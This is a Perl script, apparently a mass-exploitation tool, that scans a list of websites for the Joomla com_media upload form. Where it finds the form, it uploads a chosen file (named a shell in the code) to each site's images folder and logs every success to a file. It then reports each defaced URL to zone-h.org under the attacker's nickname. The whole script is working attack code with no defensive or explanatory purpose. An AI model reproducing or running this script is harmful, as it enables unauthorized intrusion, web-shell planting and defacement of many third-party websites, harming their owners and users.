mass_exploit_joomla_com_media_+_mass_upload_zone-h

#!/usr/bin/perl
#                        ->Coder By CrashBandicot
#                        ->Update Design By Kyxrec0n and Tr4xb0y
#                        ->sh00tz<- Magnom , m0sta , hamid , samim , Yunus, Ghosty


use Term::ANSIColor;
use LWP::UserAgent;
use HTTP::Request::Common;
if ($^O =~ /Win/) { system("cls"); } else { system("clear"); }
print"\n";
print colored ("        --=[Com_media Auto Explo!ter]",'blue'),"\n";
print colored ("            --=[Code by CrashBandicot]",'red'),"\n";
print colored ("            --=[Update by Kyxrec0n and Tr4xb0y]",'yellow'),"\n";
print colored ("        --=[Usage : $0 list.txt file.jpg or file.txt",'green'),"\n";

;

$file = $ARGV[1];
unless ($file) {

print colored (" \n\n       --=[Usage : $0 list.txt file.jpg or file.txt",'green'),"\n\n";
        exit;
}
open(tarrget,"<$ARGV[0]") or die "$!";
while(<tarrget>){
chomp($_);
$webs = $_;
if($webs !~ /http:\/\//)
{
$webs = "http://$webs";
}
$zeeb = $webs."/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=";

print colored "\n\n [+] Scanning -> $webs",'green';

$ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5");
$fucki = $ua->get($zeeb);
$kzz = $fucki->content;
if($kzz =~/<form action="(.*?)" id=\"uploadForm\" class=\"form-horizontal\" name=\"uploadForm\" method=\"post\" enctype=\"multipart\/form-data\">/ || $kzz =~ /<form action="(.*?)" id=\"uploadForm\" name=\"uploadForm\" method=\"post\" enctype=\"multipart\/form-data\">/ )
{
        print colored "\n [+] Try Upload >> $webs",'green'; sleep(1);

$url = $1;
$url =~ s/&amp;/&/gi;

} else { print colored "\n [-] com_media not found -> $webs",'red'; sleep(1); }

my $res = $ua->post($url, Content_Type => 'form-data', Content => [ Filedata => [$file] ]);

$shell = $webs."/images/".$file;

$check = $ua->get($shell);
if($check->content =~/by/ || $check->is_success ) {

        print colored "\n [+] File Uploaded >> $shell\n",'yellow';

open(save ,">>save.txt");
print save "$shell\n";
close save;

$res= $ua->post("http://zone-h.org/notify/single",[
                                'defacer'     => 'Kyxrec0n', # seu nick
                                'domain1'   => $shell,
                                'hackmode' => '15',
                                'reason'       => '1',
                                'submit'       => 'Send',
                                ]);
                                if ($res->content =~ /color="red">(.*)<\/font><\/li>/) {
                                print colored " [+] Submit zone-h $1\n",'red'; sleep(1);
                                }
                                else
                                {
                                print colored "\n [-] Submit zone-h ERROR\n",'blue'; sleep(1);
                                }

} else {  print colored "\n [-] File Upload Fail",'red';   }


}